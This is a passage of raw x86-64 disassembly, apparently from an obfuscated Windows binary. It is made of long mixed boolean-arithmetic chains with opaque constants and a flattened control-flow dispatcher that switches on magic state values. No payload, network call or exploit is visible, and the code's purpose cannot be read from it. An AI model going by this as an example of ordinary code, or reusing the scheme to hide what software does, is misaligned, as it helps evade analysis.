not ecx
and ecx, eax
or r12d, ecx
or r12d, ebx
not r12d
mov eax, r12d
and eax, 0xa4519b98
and r12d, 0x5bae6467
or r12d, 0x84109000
xor r12d, eax
mov eax, r12d
xor eax, 0xdfbef467
mov r8d, r12d
and r8d, 0x5dfaf697
xor r12d, 0x824402f0
and r12d, eax
mov eax, r8d
xor eax, r12d
xor eax, 0x400290
xor r8d, 0x400290
and r8d, r12d
or r8d, eax
mov r10d, r8d
xor r10d, 0xf7bc1db4
mov eax, r8d
or eax, 0xe66cfdeb
mov edx, eax
xor edx, 0xee6fffeb
mov ecx, r8d
and ecx, 0x19930214
xor ecx, 0x8030200
mov esi, r8d
xor esi, 0x11d0e05f
or esi, ecx
mov edi, esi
not edi
and edi, edx
and eax, 0xc2df5143
and edx, 0x19000214
or edx, eax
xor edx, esi
mov ecx, edi
xor ecx, edx
xor ecx, 0x3db0aebc
xor edx, 0x19900214
and edx, edi
mov eax, ecx
and eax, 0xe66cfdeb
and ecx, 0x19930214
or ecx, edx
or ecx, eax
mov edi, ecx
and edi, 0xecc1695
mov r13d, ecx
xor r13d, 0xe8a0eb7e
mov r15d, edi
xor r15d, 0xf9b3eb7e
mov esi, ecx
xor esi, 0x175f1481
mov ebx, edi
xor ebx, 0x844653a6
and ebx, r15d
or edi, 0x820a4727
mov edx, ecx
or edx, 0x7df5b8d8
xor edx, 0x7fffbcd9
mov eax, ecx
xor eax, 0x6aaaac59
and eax, r13d
or eax, edx
mov edx, edi
and edx, 0x888217a6
and ecx, 0x4440010
or ecx, edx
xor edi, 0x864e57a7
and edi, ebx
and ebx, 0xecc5695
xor ebx, ecx
xor ebx, 0x4441684
or edi, ebx
xor edi, eax
or esi, r15d
mov eax, esi
and eax, 0xecc1695
xor eax, edi
xor eax, 0xecc1695
not esi
and esi, edi
or esi, eax
mov ecx, esi
and ecx, 0x3d6ad4f5
mov r15d, esi
and r15d, 0xc2940808
mov edi, esi
or edi, 0xc2952b0a
mov ebx, esi
and ebx, 0xc2952b0a
mov r13d, ecx
xor r13d, 0x1501f783
and r13d, edi
xor ecx, 0x3d6ad4f5
mov eax, ecx
and eax, 0x354014c4
and edi, 0x4a2ee339
or edi, eax
or ecx, ebx
xor edi, ebx
not ebx
mov eax, esi
or eax, 0xeaff2b7e
and ebx, 0x286b2376
or ebx, r15d
mov edx, eax
and edx, 0x8febd69e
and esi, 0x10000001
or esi, edx
not eax
and eax, r13d
and r13d, 0x3d6af7f5
xor r13d, esi
xor r13d, 0x9fead69d
or eax, r13d
xor eax, ebx
xor edi, 0xb5d11cc6
and edi, ecx
or edi, eax
mov eax, edi
and eax, 0xd25c9294
or eax, 0x28034442
and edi, 0x2da36d6b
xor edi, eax
mov eax, edi
xor eax, 0x156990b7
mov ecx, edi
xor ecx, 0xea966f48
or ecx, eax
xor edi, 0x60a362d4
and edi, ecx
mov eax, edi
xor eax, 0x8a350d9c
or eax, ecx
xor edi, ecx
xor edi, 0x75caf263
and edi, eax
mov eax, r14d
and eax, 0xbae01e84
mov ecx, r14d
and ecx, 0x451fe17b
or ecx, 0x98801e04
xor ecx, eax
mov eax, r14d
and eax, 0x80000
mov edx, ecx
and edx, 0xb4240811
and ecx, 0x4bd3f7ee
add eax, edx
add eax, 0x52e686
xor eax, ecx
and r14d, 0xf133e96a
mov ebx, r14d
xor r14d, eax
xor eax, 0x9012e802
xor ebx, 0xf133e96a
and ebx, eax
xor r14d, 0x672d077d
or ebx, r14d
mov r15d, ebx
not r15d
and r15d, edi
mov r13d, edi
or r13d, 0x8e000724
mov eax, edi
and eax, 0x8e000724
and r14d, 0xc000004
mov esi, ebx
and esi, 0x82000720
or esi, r14d
mov ecx, edi
xor ecx, 0x8a000104
and ecx, eax
not eax
mov r14d, r13d
and r14d, 0xfb0fa016
mov edx, eax
and edx, 0xea028104
or ecx, edx
mov edx, edi
and edx, 0xf058c9
or edx, r14d
xor edx, ecx
xor edx, 0x11fd79db
mov ecx, edi
and ecx, 0x609ee042
and r13d, 0x9f611a9d
or r13d, ecx
mov ecx, edi
and ecx, 0x520
and eax, 0x9f611a9d
add eax, ecx
add eax, 0x609ee042
xor eax, r13d
xor edi, 0x8e000724
or edi, eax
not edi
or edi, edx
mov eax, esi
and eax, 0x6000000
and ebx, 0x71fff8db
or ebx, eax
or esi, 0x262e5009
xor esi, ebx
mov eax, esi
xor eax, 0xa82e572d
xor esi, 0x57d1a8d2
and esi, edi
not edi
and edi, eax
or esi, edi
mov eax, r15d
and eax, 0xc64177d6
or eax, 0x39268801
mov edx, r15d
and edx, 0x39be8829
xor edx, eax
mov eax, edx
xor eax, 0xff67ffd7
mov ecx, esi
xor ecx, 0x39be8829
or ecx, eax
xor edx, esi
xor edx, 0x39268801
and edx, eax
xor edx, ecx
not edx
and esi, r15d
mov eax, esi
and eax, 0xa32261d0
or eax, 0x10999806
mov edi, esi
and edi, 0x5cdd9e2f
xor edi, eax
xor edi, edx
and esi, edx
mov eax, edi
xor eax, esi
xor eax, 0x10999806
xor edi, 0x10999806
and edi, esi
or edi, eax
mov ecx, edi
mov r14d, edi
mov edx, edi
mov r13d, edi
mov eax, edi
and eax, 0x310718ea
or eax, 0x6f8a511
mov r15d, edi
and r15d, 0xcef8e715
xor r15d, eax
mov eax, r15d
xor eax, 0xf7cb4c5b
or eax, edi
xor r15d, edi
and edi, 0x190a9b13
or ecx, 0xe6f564ec
and r14d, 0xe6f564ec
mov esi, edi
xor esi, 0xc026d4ea
and esi, ecx
or edx, 0xfffd6ffd
mov ebx, edx
and ebx, 0xb0495454
and r13d, 0x28002
or r13d, ebx
not edx
and edx, esi
and esi, 0x592e9bbb
xor esi, r13d
xor esi, 0x304b9016
or edx, esi
xor edx, r14d
xor edx, 0xd92c4ff9
xor edi, 0x190a9b13
mov esi, edi
and esi, 0x21101
and ecx, 0xddf8ce1a
or ecx, esi
or edi, r14d
xor ecx, r14d
xor ecx, 0x220731e5
and ecx, edi
or ecx, edx
mov edx, ecx
xor edx, 0x190a9b13
xor ecx, 0x17c68da6
or ecx, edx
xor r15d, 0x834b3a4
and r15d, eax
mov eax, ecx
not eax
and eax, r15d
xor r15d, ecx
xor r15d, eax
mov r14d, r8d
xor r14d, 0x843e24b
mov ebx, r8d
mov edi, r8d
mov r13d, r8d
mov eax, r8d
and eax, 0xf4e5e31e
xor r8d, 0x359feaa
and r8d, r10d
mov edx, eax
xor edx, r8d
xor edx, 0x41e20a
xor eax, 0x41e20a
and eax, r8d
or eax, edx
mov edx, eax
xor edx, 0x6653709e
and edx, r14d
or r14d, r10d
and r12d, 0x82000820
and ebx, 0x1098338a
or ebx, r12d
and edi, 0x6d67c455
or edi, ebx
mov ecx, edi
xor ecx, 0x6524261e
mov ebx, r14d
and ebx, 0x6d67c455
xor r13d, r14d
and r14d, 0x92983baa
or r14d, 0x64244445
xor r14d, ebx
mov ebx, r14d
xor ebx, 0xf6bc7fef
xor edi, 0x9adbd9e1
and edi, ebx
xor r14d, 0x9438010
and r14d, ecx
xor r13d, 0xf7bc1db4
or r13d, r10d
not r13d
or r13d, r14d
or r13d, edi
mov ebx, r13d
not ebx
mov ecx, r13d
and ecx, 0x6d496c7f
mov edi, eax
xor edi, 0x99ac8f61
and edi, r10d
or edi, edx
xor eax, edi
xor eax, 0x6653709e
and eax, edi
mov edx, r13d
xor edx, 0x5014c23
and edx, ecx
and ecx, eax
mov esi, r13d
and esi, 0x5014c23
xor esi, edx
xor esi, 0x85b5cfa3
and edx, 0x5014c23
or edx, esi
mov edi, eax
and edi, 0x85b5cfa3
or edi, 0x840004c
and eax, 0x7a4a305c
xor eax, edi
xor eax, edx
mov edx, eax
mov edi, ecx
xor edi, eax
xor edi, 0x720a3010
mov esi, edi
and esi, ecx
xor eax, 0x60082010
and eax, ecx
not ecx
xor edx, 0x8df5cfef
and edx, ecx
or edx, eax
xor edx, esi
and eax, edi
or eax, edx
mov ecx, ebx
and ecx, r13d
and r13d, 0x29086950
and ebx, 0xd6f7968f
or ebx, r13d
xor ebx, 0xd6f7968f
and ecx, 0xffffffdf
or ecx, ebx
mov r8d, eax
xor r8d, 0x6d496c5f
lea r10d, [rcx + 0x20]
mov edi, eax
xor edi, 0xe8f03d9b
mov esi, eax
xor esi, 0x92b693a0
or esi, edi
mov ebx, eax
or ebx, 0x7a46ae3b
xor ebx, 0x7f4fee7f
or edi, ebx
mov r14d, ecx
and r14d, 0x85b951c4
mov edx, ecx
xor edx, 0x85b951e4
or edx, r14d
not esi
and esi, ebx
xor esi, edi
mov edi, edx
and edi, 0xffffffdf
mov ebx, edi
xor ebx, 0x6727c902
xor ecx, 0x291100
and ecx, r14d
mov r12d, ebx
xor edi, 0xffffffdf
mov r13d, edi
and r13d, 0x1bcc4c01
and ebx, 0xe433b3de
or ebx, r13d
or edi, r14d
xor ebx, r14d
or r14d, 0x8594c8c6
xor ecx, r14d
or r12d, 0x8594c8c6
or edx, 0x7a6b3739
xor edx, r12d
mov r14d, edx
xor r14d, 0x81000
and r14d, ecx
not ecx
xor edx, 0xe7b341e4
and edx, ecx
or edx, r14d
xor ebx, 0x7fefcd03
and ebx, edi
or ebx, edx
mov ecx, esi
xor ecx, 0x1ac5778a
mov edx, ebx
and edx, 0xe53a8875
or edx, 0x8453780
and ebx, 0x1ac5778a
xor ebx, edx
mov edx, ebx
xor edx, 0xed7fbff5
xor esi, 0xe53a8875
and esi, edx
xor ebx, 0x1280400a
and ebx, ecx
or ebx, esi
and r8d, r10d
xor eax, r10d
xor eax, 0x6d496c5f
or eax, r8d
mov ecx, ebx
and ecx, 0x5bce1f7c
xor ecx, eax
mov edx, ebx
xor edx, eax
not eax
or eax, ebx
and ebx, 0xa431e083
or ebx, 0x1ac01b00
xor ecx, ebx
and eax, edx
mov edx, ecx
xor edx, eax
xor edx, 0xe53fe4ff
xor ecx, 0xe53fe4ff
and ecx, eax
or ecx, edx
mov edx, ecx
and edx, 0x563e2c9a
or edx, 0x9005300
mov eax, ecx
and eax, 0xa9c1d365
xor eax, edx
mov ebx, ecx
xor ebx, eax
xor eax, 0xf6ffacff
or eax, ecx
xor ebx, 0x9005300
and eax, ebx
mov edx, eax
xor edx, ecx
and edx, ebx
mov ebx, ecx
and ebx, 0xa4a3d9c2
and ecx, 0x5b5c263d
or ecx, 0xa0a01800
xor ecx, ebx
mov ebx, ecx
xor ebx, 0xfbfc3e3d
mov edi, eax
and edi, 0xa4a3d9c2
or edi, 0x4354221d
and eax, 0x5b5c263d
xor eax, edi
mov edi, eax
xor edi, 0xe7f7fbdf
xor ecx, 0x403c1c2
and ecx, edi
xor eax, 0x18080420
and eax, ebx
or eax, edx
or eax, ecx
mov edx, eax
not edx
and edx, r15d
mov r10d, r15d
xor r10d, eax
xor r10d, edx
mov r8d, r15d
and r8d, 0x9903995d
mov edx, eax
or edx, 0x66fc66a2
mov ebx, edx
not ebx
mov r12d, eax
and r12d, 0x66fc66a2
and r15d, 0x66fc66a2
or r15d, 0x98008855
and edx, 0xae0a6a3c
mov edi, ebx
and edi, 0x11019141
or edi, edx
mov esi, edi
xor esi, 0x51f595c3
mov edx, edi
xor edi, 0xae0a6a3c
mov r14d, edi
or edi, r12d
not r12d
xor edx, 0xc263434a
and edx, esi
and ebx, 0x91029009
or ebx, edx
mov edx, eax
and edx, 0x60080022
mov ecx, r12d
and ecx, 0xc602114
add ecx, edx
add ecx, 0x3020681
mov edx, eax
and edx, 0x2944680
xor edx, ecx
mov ecx, edx
xor ecx, 0x630b0ee3
xor edx, 0x9cf4f11c
and edx, ebx
not ebx
and ebx, ecx
or edx, ebx
and r14d, 0x89021805
and esi, 0x10ddc158
or esi, r14d
and eax, 0x662026a2
and r12d, 0x10ddc158
or r12d, eax
xor r12d, esi
not r12d
and r12d, edi
or r12d, edx
xor r12d, r8d
xor r12d, r15d
mov eax, r12d
xor eax, 0x1031108
mov ecx, r10d
xor r12d, 0xfefceef7
and r12d, r10d
xor r10d, 0x6ee49458
mov edx, eax
and edx, 0x6ee49458
and eax, 0x911b6ba7
or eax, 0x26e40458
xor eax, edx
mov edx, eax
xor edx, 0xb7ff6fff
xor ecx, 0x911b6ba7
and ecx, edx
xor eax, 0x48009000
and eax, r10d
or r12d, eax
or r12d, ecx
mov eax, 0x1f53ad1b
jmp 0x140097330
cmp eax, 0x58a11e19
je 0x140097310
cmp eax, 0x71946ac1
jne 0x140097330
mov eax, 0x3117fdc4
jmp 0x140097330
cmp eax, 0x22c0f4b1
jne 0x140097dd3
mov eax, 0x1f53ad1b
mov r12d, dword [rbp + 0x4e8]
jmp 0x140097330
mov dword [rbp + 0x4e8], r9d
mov eax, dword [rbp + 0x4e8]
cmp eax, 0x41
setge byte [rbp + 0x4ef]
mov eax, dword [rbp + 0x4c0]
jmp 0x140097330
cmp byte [rbp + 0x4ef], 0
mov eax, 0x22c0f4b1
mov ecx, 0x58a11e19
cmovne eax, ecx
jmp 0x140097330
cmp eax, 0x1f53ad1b
jne 0x140097330
mov eax, r11d
and eax, 0xa06206ca
mov ecx, r11d
and ecx, 0x5f9df935
or ecx, 0x620008
xor ecx, eax
mov edx, ecx
xor edx, 0xff9dfff7
mov ebx, ecx
xor ebx, 0x3c382075
and ebx, edx
mov eax, ecx
and eax, 0xc3a5df82
xor eax, 0x200000
or eax, ebx
xor ecx, 0x620008
or ecx, edx
xor eax, 0xc3a5df82
and eax, ecx
mov edx, eax
and edx, 0x1ba9fcee
mov ecx, eax
xor ecx, 0xa0020200
and ecx, eax
mov ebx, eax
or ebx, 0xe4560311
xor edx, 0xb1aab604
and edx, ebx
mov r15d, eax
or r15d, 0xee574bfb
mov ebx, eax
and ebx, 0xa0020200
xor ebx, 0xaa034aea
and ecx, 0xe4560311
or ecx, ebx
mov ebx, r15d
and ebx, 0x921be1fb
and eax, 0x1a01404
or eax, ebx
not r15d
and r15d, edx
and edx, 0x3ba9feee
xor edx, eax
xor edx, 0x13b9f5ff
or r15d, edx
xor r15d, ecx
mov eax, r15d
and eax, 0x8b181a5c
or eax, 0x34434021
and r15d, 0x74e7e5a3
xor r15d, eax
mov eax, r15d
xor eax, 0x2feabccf
mov ecx, r15d
xor ecx, 0xd0154330
mov edx, r15d
or edx, 0x2769e20a
xor edx, 0xf77de33a
xor r15d, 0xf77ca13a
and r15d, eax
or r15d, edx
or ecx, eax
xor r15d, 0x2769e20a
and r15d, ecx
mov eax, r15d
xor eax, 0x2e69652b
mov ecx, eax
and ecx, 0xe043fd87
or ecx, 0xaa80010
mov r14d, eax
and r14d, 0x1fbc0278
xor r14d, ecx
and eax, 0x2e69652b
mov ecx, eax
xor ecx, r14d
xor ecx, 0x24c1653b
xor r14d, 0x2441652b
and r14d, eax
or r14d, ecx
mov eax, r11d
and eax, 0xfb1401a1
or eax, 0x688008
mov r10d, r11d
and r10d, 0x4ebfe5e
xor r10d, eax
mov eax, r10d
xor eax, 0xbaad4363
or r10d, 0x453a3c94
xor r10d, 0x457abc9c
or r10d, eax
mov eax, r11d
and eax, 0xbac5c36b
mov ecx, r10d
xor ecx, 0x29379af7
mov edx, r11d
and edx, 0x92c04108
or edx, 0x29151af2
mov ebx, r11d
and ebx, 0x28058263
xor ebx, edx
mov edx, ebx
xor edx, 0xffdd7ffa
mov edi, r10d
xor edi, 0xd6c86508
and edi, edx
xor ebx, 0x228005
and ebx, ecx
or ebx, edi
mov ecx, r10d
xor ecx, eax
not r10d
or r10d, eax
and r10d, ecx
or r10d, ebx
mov eax, r11d
and eax, 0x3e90666b
mov ecx, r11d
and ecx, 0xc16f9994
or ecx, 0x2a106008
xor ecx, eax
xor ecx, r10d
mov eax, r10d
xor eax, r11d
xor eax, 0x94aca640
xor r10d, 0x94aca640
and r10d, r11d
or r10d, eax
mov eax, ecx
xor eax, 0x414339b7
or eax, r10d
xor r10d, ecx
xor r10d, 0xbebcc648
and r10d, eax
mov r9d, r12d
not r9d
mov ebx, r12d
and ebx, 0x437fed4a
mov eax, r12d
and eax, 0xbc8012b5
or eax, 0x4127600a
xor eax, ebx
xor eax, 0x2588d40
or eax, r12d
mov edi, r12d
and edi, 0x25b4148
xor edi, 0xadb43e9
mov esi, r12d
xor esi, 0xbedb53fd
and esi, ebx
mov ebx, eax
and ebx, 0xadb43e9
and eax, 0xf524bc16
or eax, 0x8004140
xor eax, ebx
mov ecx, esi
not ecx
or ecx, r12d
not ecx
and ecx, 0x25b4148
or esi, edi
or esi, ecx
mov ecx, esi
xor ecx, eax
xor ecx, 0x4924ed42
and ecx, esi
xor eax, 0x25b0008
or eax, esi
xor eax, ecx
mov ecx, eax
not ecx
mov edi, eax
xor edi, 0x8801225
and edi, ecx
mov ecx, eax
or ecx, 0x437fed4a
and edi, 0xbc8012b5
mov esi, eax
and esi, 0x437fed4a
lea r8d, [rsi - 0x4bffff70]
mov edx, eax
and edx, 0x14000010
mov ebx, ecx
and ebx, 0xa0448dc0
or ebx, edx
xor ebx, edi
lea edx, [rbx + 0x1384000]
mov edi, eax
and edi, 0x28800011
and ecx, 0x9729dbac
or ecx, edi
xor ecx, esi
mov edi, esi
xor edi, 0x4a83322f
and edi, edx
xor ebx, 0xf647adda
and ebx, r8d
or ebx, edi
xor ecx, 0xbfa9dbbd
xor eax, 0x437fed4a
or eax, ecx
not eax
or eax, ebx
mov ecx, eax
xor ecx, 0xb735624
mov edx, eax
or edx, 0xbf61617e
mov ebx, eax
xor ebx, 0x4bedc8a5
and ebx, ecx
mov ecx, edx
and ecx, 0xab6bb319
and eax, 0x40940c80
or eax, ecx
xor eax, ebx
xor eax, 0xebeda999
xor edx, 0xffede9ff
and edx, ebx
or edx, eax
mov ecx, edx
xor ecx, 0xb412375a
mov ebx, edx
and ebx, 0x41963a78
xor ebx, 0x41840820
mov eax, edx
xor eax, 0xf5840d22
and eax, ecx
or eax, ebx
mov ecx, eax
xor ecx, 0xbe69c587
mov ebx, eax
and ebx, 0xc7ae538e
xor ebx, 0x41861208
mov edi, eax
xor edi, 0x863869f6
or edi, ebx
mov ebx, edx
xor ebx, 0x73bc64d4
xor edx, 0x4bedc8a5
or edx, ebx
and edx, edi
mov ebx, eax
xor ebx, 0x9000a0ac
and ebx, ecx
mov ecx, eax
xor ecx, ebx
xor ecx, 0x6fff5f53
xor eax, 0x6fff5f53
and eax, ebx
or eax, ecx
mov edi, edx
xor edi, 0x1638c95a
mov esi, edx
xor esi, 0xdba443a
and esi, edi
mov ebx, edx
or ebx, 0xe47d729f
mov r8d, ebx
and r8d, 0x160e96b2
mov ecx, edx
and ecx, 0x9800940
or ecx, r8d
xor ecx, esi
xor ecx, 0xd8e16b2
xor ebx, 0xedff76bf
and ebx, esi
or ebx, ecx
xor ebx, eax
xor edx, eax
xor edx, 0x1638c95a
and edi, eax
or edi, edx
mov eax, ebx
xor eax, 0xe47d729f
xor ebx, edi
xor ebx, 0xe47d729f
or eax, edi
not eax
or eax, ebx
mov ecx, eax
and ecx, 0x6ec3b5e4
or ecx, 0x80801
and eax, 0x913c4a1b
or eax, 0x28c13164
xor eax, ecx
mov ecx, eax
xor ecx, 0xd736c69a
mov edx, eax
or edx, 0xfb4c88f1
xor edx, 0xfbcdb9f5
mov ebx, eax
xor ebx, 0xd385b194
and ebx, ecx
or ebx, edx
xor eax, ebx
xor ebx, 0x4b3770e
or ebx, ecx
xor eax, 0x2c7a4e6b
and eax, ebx
or r9d, 0xd1969ad4
mov ecx, r12d
and ecx, 0x248000a
mov edx, r9d
and edx, 0x98b14025
or edx, ecx
mov r11d, r9d
and r11d, 0x25043500
or r11d, edx
mov ecx, r11d
and ecx, 0xb2a41504
xor ecx, 0x20280c0
xor r11d, 0xf0ec1f1e
or r11d, ecx
and r12d, 0x22000528
and r9d, 0x5debeac7
or r9d, r12d
mov ecx, r9d
and ecx, 0xc49602b
xor ecx, 0xc496003
xor r9d, 0x10b280fc
or r9d, ecx
mov ecx, r11d
and ecx, 0xfffdff3f
xor ecx, 0x1aaf6d2c
and ecx, r11d
mov edx, r11d
and edx, 0x1aad6dac
or edx, 0x24001052
mov ebx, r9d
and ebx, 0x64400203
or r11d, r9d
and r9d, 0xa296d28
or r9d, 0x64528243
xor r9d, ebx
xor r9d, edx
xor r9d, ecx
xor r9d, 0x41429241
not r11d
or r11d, r9d
mov r9d, r10d
mov r8d, r10d
mov r12d, r10d
mov ebx, r10d
mov ecx, r10d
mov edx, r10d
and edx, 0x100108
mov edi, r10d
or edi, 0x3bac76d0
mov esi, r10d
xor esi, 0xc453892f
or esi, edi
and edi, 0xfc6bc837
or edi, edx
mov edx, r10d
xor edi, r10d
and r10d, 0x8d80cfea
xor r9d, 0x1008060
and r9d, r10d
and r8d, 0x70663010
and r12d, 0x2190005
or r12d, 0x7c006010
xor r12d, r8d
and ebx, 0x1008060
or ebx, 0x4804600
xor ebx, r9d
xor ebx, r12d
xor ebx, 0xaff1605
and ecx, 0x727f3015
or ecx, 0x8000cf62
xor ecx, r10d
xor ecx, 0xf27fff77
xor edx, 0x8d80cfea
or edx, ecx
not edx
or edx, ebx
mov r10d, edx
xor r10d, 0x727f3015
mov ecx, edx
xor ecx, 0xb62cb93a
and ecx, r10d
mov r13d, edx
xor r13d, 0x49d346c5
or r13d, ecx
xor edi, 0x38284010
and edi, esi
mov ecx, r14d
xor ecx, 0x40008000
and ecx, r14d
and r15d, 0x40008000
xor r15d, 0x4a849408
and ecx, 0x44018902
or ecx, r15d
mov ebx, r14d
mov r8d, r14d
mov esi, r14d
and esi, 0x8010000c
and ebx, 0x420021
or ebx, 0x45880090
xor ebx, ecx
and r8d, 0x3bac76d0
xor r8d, 0x8afe54bd
xor esi, ebx
xor esi, 0x1a04008
and esi, r8d
xor ebx, 0x41a14902
or ebx, r8d
xor ebx, esi
mov ecx, r13d
mov esi, r13d
and esi, 0xb2e0d7b3
and ecx, 0x4d1f284c
or ecx, 0x22804682
xor ecx, esi
mov r15d, ecx
xor r15d, 0x6f9f6ece
mov esi, edi
and esi, 0xb2e0d7b3
or esi, 0x45082048
mov r9d, edi
and r9d, 0x4d1f284c
xor r9d, esi
mov r8d, ecx
xor r8d, 0x98385838
and r8d, r15d
mov r15d, r9d
xor r15d, 0x8170804
mov esi, r9d
xor esi, 0x4fc10d
and esi, r15d
mov r15d, ecx
or r15d, 0x858c909
or r9d, 0xf7a736f6
xor r9d, 0xf7eff7ff
or r9d, esi
mov esi, r15d
and esi, 0x8899f000
and ecx, 0x772606f6
or ecx, esi
mov esi, r13d
xor ecx, r8d
xor r15d, 0x9878d939
and r15d, r8d
mov r12d, r13d
and esi, 0x9e366bbf
xor esi, edi
xor r12d, edi
not edi
or edi, r13d
xor ecx, 0x9838d030
or r15d, ecx
mov ecx, r14d
xor r15d, r9d
mov r8d, r14d
and r13d, 0x61c99440
or r13d, 0x21040b3
xor esi, r13d
and edi, r12d
mov r9d, esi
xor r9d, edi
xor r9d, 0xfdefbf4c
xor esi, 0xfdefbf4c
and esi, edi
or esi, r9d
mov edi, esi
and edi, 0xc0508439
or edi, 0x892802
and esi, 0x3faf7bc6
xor esi, edi
mov r12d, esi
xor r12d, 0x892802
mov r9d, r15d
and r9d, 0x4e3f9ca4
mov r13d, r12d
and r13d, 0xb1c0635b
xor r13d, r9d
mov edi, r12d
xor r12d, r15d
xor esi, 0xff76d7fd
or esi, r15d
and r15d, 0xb1c0635b
or r15d, 0xc081c80
xor r13d, r15d
and edi, 0x4e3f9ca4
or edi, 0xb040624a
xor edi, r13d
xor edi, 0x43b78135
and esi, r12d
or esi, edi
mov r9d, esi
not r9d
mov edi, esi
and edi, 0x4de1c672
mov r15d, esi
or r15d, 0x4de1c672
mov r12d, r15d
and r12d, 0x26011ca7
and r9d, 0x901e2108
or r9d, r12d
mov r12d, esi
xor r12d, 0x4010422
and r12d, edi
not edi
xor r12d, r9d
mov r9d, esi
and r9d, 0x420
xor r15d, edi
and edi, 0x26010887
add r9d, edi
add r9d, 0xd1f0c210
xor r9d, r12d
mov r13d, edx
mov r12d, edx
xor r8d, edx
xor edx, 0x8d80cfea
and edx, r14d
xor ebx, 0x4de1c672
xor r9d, 0xd1f0d630
xor esi, 0x4de1c672
or esi, r15d
not esi
or esi, r9d
mov edi, ebx
and edi, 0xb7fb9257
or edi, 0x42d28
and ebx, 0x48046da8
xor ebx, edi
mov r9d, ebx
mov edi, esi
and edi, 0xb7fb9257
or edi, 0x40004d08
and esi, 0x48046da8
xor esi, edi
mov edi, esi
xor edi, 0xf7fbdf5f
xor ebx, 0x48004080
and ebx, edi
mov r15d, eax
not r15d
xor r9d, 0xb7ffbf7f
xor esi, 0x80420a0
and esi, r9d
mov r9d, r11d
xor r9d, 0xb2a695c4
or esi, ebx
and r13d, 0xa631f20f
xor r13d, 0x8400c20a
xor r12d, 0x2bb13de5
and ecx, 0x59ce0df0
or ecx, 0x86009003
and r14d, 0xa631f20f
xor r14d, ecx
and r13d, r10d
or r13d, r12d
mov ecx, r14d
xor r14d, 0xdfce9df3
and r14d, r13d
not r13d
xor ecx, r13d
xor ecx, 0xdfce9df3
and ecx, r13d
or r14d, ecx
mov ecx, r8d
xor ecx, 0x8d80cfea
or edx, ecx
mov ebx, r8d
xor ebx, 0x727f3015
xor r8d, edx
xor r8d, 0x727f3015
or ebx, edx
not ebx
or ebx, r8d
mov edx, ebx
and edx, 0xcde4750
or edx, 0x21209829
and ebx, 0xf321b8af
xor ebx, edx
mov edx, ebx
xor edx, 0xdedf67d6
and edx, r14d
xor ebx, r14d
xor ebx, 0xdedf67d6
or ebx, edx
mov edx, ebx
and edx, 0xa94c8ce7
lea r10d, [rdx + 0x42217110]
xor edx, 0xa94c8ce7
mov r8d, r10d
and r8d, 0x4804a0a0
mov ecx, ebx
xor ecx, 0x81480c46
and ecx, edx
and edx, 0x20000001
or edx, r8d
mov edi, edx
and edi, 0x600080a1
and r10d, 0x8042000
add edi, r10d
add edi, 0x5021e54
xor edi, ecx
xor edi, 0x33805e5d
xor edx, 0x20000001
and edx, ecx
or edx, edi
and ebx, 0x56b37318
xor ebx, edx
mov ecx, ebx
xor ecx, 0x283593b1
mov edx, ebx
xor edx, 0xd7ca6c4e
and edx, ecx
xor ebx, edx
xor ebx, 0xd7ca6c4e
or ebx, edx
mov ecx, ebx
and ecx, 0xab469b10
or ecx, 0x50b0608d
and ebx, 0x54b964ef
xor ebx, ecx
mov ecx, ebx
xor ecx, 0xaf4f9f72
mov edx, esi
not edx
and edx, ecx
xor ebx, 0x50b0608d
and ebx, esi
or edx, ebx
and ebx, ecx
and ecx, esi
xor edx, ecx
xor ebx, edx
mov ecx, eax
and ecx, 0x4093dba5
or ecx, 0x3e64205a
mov edx, eax
and edx, 0xbf6c245a
xor edx, ecx
mov r8d, edx
xor r8d, 0xc19bdfa5
mov ecx, r11d
xor ecx, 0x4d596a3b
xor edx, 0x3e64205a
mov edi, edx
or edi, r9d
and edx, ecx
and r8d, r9d
or r8d, edx
xor r8d, edi
mov r9d, r8d
not r9d
mov ecx, eax
and ecx, 0xd240d802
or ecx, 0x2049
or r15d, 0xde6c8a14
and r15d, 0xff7c8ab4
xor r15d, ecx
mov ecx, r15d
xor ecx, 0xca20210
and eax, 0xcaf275d
lea edx, [rax - 0x2dbf27fe]
xor r15d, 0xd754f
and r15d, edx
xor eax, 0x2d3107b0
and eax, ecx
or eax, r15d
mov r14d, r11d
xor r14d, 0x41f64d66
mov edx, r14d
and edx, 0x84a6247d
mov edi, eax
and edi, 0x84afa47d
or edi, 0x29001a80
and eax, 0x7b505b82
and r11d, 0x98000
add edx, r11d
add edx, 0x19105080
and r14d, 0x7b505b82
xor r14d, edx
xor r14d, eax
xor r14d, edi
mov r15d, r14d
xor r15d, 0xcfefb5ff
mov r11d, r15d
and r11d, 0x260dd63e
mov r13d, r14d
and r13d, 0xd9f229c1
mov r10d, r9d
mov edx, r9d
mov r12d, r15d
or r15d, r9d
and r9d, 0x20cc21a
or r9d, 0x332424
and r10d, 0x90c00100
or r10d, 0x10
and edx, 0x493228c1
or edx, 0x8080440c
xor edx, r10d
mov esi, r8d
or esi, 0xdbfeebdb
xor esi, r9d
xor esi, edx
xor esi, 0xa6beb606
mov edx, r8d
xor edx, 0xd9f229c1
xor r8d, 0x260dd63e
or r8d, edx
not r8d
or r8d, esi
mov edx, r11d
not edx
mov edi, r13d
xor edi, 0xefeff7ff
mov esi, r14d
xor esi, 0x200c436
and esi, r11d
mov ecx, r13d
xor ecx, 0xcd3d5188
and ecx, edi
or r13d, 0xdd2d5988
and r12d, 0x91008
xor r11d, edi
xor edi, edx
and edx, 0xc5044100
add edx, r12d
add edx, 0x2082a441
xor edx, esi
mov eax, r13d
and eax, 0x451651c1
and r14d, 0xc02000
or r14d, eax
xor r13d, 0xdd3d5988
and r13d, ecx
and ecx, 0xd9fb29c9
xor ecx, r14d
xor ecx, 0x41100180
or r13d, ecx
xor r13d, edx
xor r13d, 0x38abbcc9
or edi, r11d
not edi
or edi, r13d
xor edi, r8d
mov eax, r15d
not eax
and eax, edi
xor r15d, edi
xor r15d, eax
mov esi, ebx
and esi, 0x1f489344
lea r14d, [rsi + 0x60b00cb3]
mov ecx, esi
xor ecx, 0x1f489344
mov edx, ebx
and edx, 0xd338e252
or edx, 0x2c47198d
mov edi, ebx
and edi, 0x2cc71dad
xor edi, edx
mov edx, edi
xor edx, 0x330f8ac9
mov eax, ebx
not eax
xor edi, 0xccf07536
and edi, eax
mov r11d, edx
and r11d, ebx
or r11d, edi
and r11d, edx
mov r8d, r15d
and r8d, 0xe0b76cbb
lea eax, [r8 + 0x1c000300]
mov edx, r15d
and edx, 0x1f489344
xor edx, eax
mov dword [rbp + 0x490], edx
mov eax, r14d
and eax, 0x12086e0
xor ebx, 0x8480104
and ebx, ecx
and ecx, 0x16001000
